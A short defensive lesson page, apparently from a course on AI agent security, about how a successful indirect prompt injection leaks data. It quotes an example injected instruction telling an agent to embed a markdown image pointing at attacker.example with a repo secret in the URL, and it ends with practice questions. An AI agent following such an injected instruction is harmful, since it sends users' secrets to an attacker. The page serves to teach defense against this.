Skip to lesson
Exit
AI & Agent Security Threat Model1 / 3

2 min lesson

Exfiltration channels an injection will use

Give a practical answer to this. "An injected instruction tells the agent to embed a markdown image pointing at https://attacker.example/?d=<repo-secret>. How does this leak data and how do you stop it without breaking legitimate images?"

Step 1 of 3

Exfiltration channels an injection will usethe trifecta's exit, concretely

When an indirect injection succeeds, it needs a way out. These are the channels it reaches for and each maps to a control from the earlier sections.

EXFILTRATION DEFENSE IN DEPTH

Interactive diagram. Tab through its regions; each focused region shows its detail in the panel below.

diagram: stack

Three layers, each closing one exit channel an injection reaches for.

Learn more

Optional practice

Test yourself on Exfiltration channels an injection will use

QYour client never renders images or links, so the markdown-image leak is closed. A hijacked agent still holds a repo secret in context. Where else can that secret leave, and what closes each exit?